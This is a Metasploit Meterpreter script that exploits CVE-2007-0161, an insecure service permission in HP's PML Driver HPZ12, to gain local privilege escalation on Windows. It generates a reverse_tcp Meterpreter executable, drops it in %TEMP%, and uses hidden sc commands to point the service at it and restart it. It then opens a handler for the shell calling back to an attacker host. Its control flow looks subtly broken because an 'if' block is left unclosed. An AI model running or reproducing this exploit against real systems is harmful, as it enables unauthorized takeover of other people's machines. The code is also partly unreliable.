##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# HP Multiple Products PML Driver HPZ12 Local Privilege Escalation.
#
#  This module exploits a privilege escalation vulnerability in
#  Hewlett-Packard's PML Driver HPZ12. Due to an insecure
#  SERVICE_CHANGE_CONFIG DACL permission, a local attacker can
#  gain elevated privileges.
#
#  BID - 21935
#  CVE - 2007-0161
#  mc[@]metasploit.com
##

#
# Options
#
@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "This help menu" ],
  "-r"  => [ true,   "The IP of the system running Metasploit listening for the connect back" ],
  "-p"  => [ true,   "The port on the remote host where Metasploit is listening" ]
)

#
# Default parameters
#
rhost = nil
rport = nil

def usage
  print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
  print_line(@exec_opts.usage)
  raise Rex::Script::Completed
end

#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
  case opt
    when "-r"
      rhost = val
    when "-p"
      rport = val.to_i
    else
      usage
    end
end

if rhost.nil? or rport.nil?
  usage
if client.platform =~ /win32|win64/
  client.sys.process.get_processes().each do |m|
    if ( m['name'] =~ /HPZipm12\.exe/ )

      print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")

      # Build out the exe payload.
      pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
      pay.datastore['LHOST'] = rhost
      pay.datastore['LPORT'] = rport
      raw  = pay.generate

      exe = Msf::Util::EXE.to_win32pe(client.framework, raw)

      # Place our newly created exe in %TEMP%
      tempdir = client.fs.file.expand_path("%TEMP%")
      tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
      print_status("Sending EXE payload '#{tempexe}'.")
      fd = client.fs.file.new(tempexe, "wb")
      fd.write(exe)
      fd.close

      print_status("Stopping service \"Pml Driver HPZ12\"...")
      client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})

      print_status("Setting Pml Driver to #{tempexe}...")
      client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'})
      sleep(1)
      print_status("Restarting the \"Pml Driver HPZ12\" service...")
      client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})

      # Our handler to recieve the callback.
      handler = client.framework.exploits.create("multi/handler")
      handler.datastore['WORKSPACE']     = client.workspace
      handler.datastore['PAYLOAD']       = "windows/meterpreter/reverse_tcp"
      handler.datastore['LHOST']         = rhost
      handler.datastore['LPORT']         = rport
      handler.datastore['ExitOnSession'] = false

      handler.exploit_simple(
        'Payload'	=> handler.datastore['PAYLOAD'],
        'RunAsJob'       => true
      )

      client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'})
    end
  end
else
  print_error("This version of Meterpreter is not supported with this script!")
  raise Rex::Script::Completed
end